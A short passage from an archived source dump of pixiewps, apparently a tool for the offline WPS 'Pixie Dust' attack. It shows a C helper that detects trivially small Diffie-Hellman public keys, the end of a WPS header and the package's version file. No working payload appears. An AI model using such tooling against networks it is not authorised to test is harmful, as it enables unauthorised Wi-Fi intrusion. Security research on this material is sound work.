check_small_dh_keys(const uint8_t *data) { uint_fast8_t i = WPS_PKEY_LEN - 2; while (--i) { if (data[i] != 0) break; } i = (i == 0 && data[WPS_PKEY_LEN - 1] == 0x02) ? 1 : 0; return i; } #endif /* WPS_H */ pixiewps-1.2.2/version.mk000066400000000000000000000001111276270077300154060ustar00rootroot00000000000000PKG_NAME:=pixiewps PKG_VERSION:=1.2 PKG_RELEASE:=3 PKG_LICENSE:=GPL-3.0+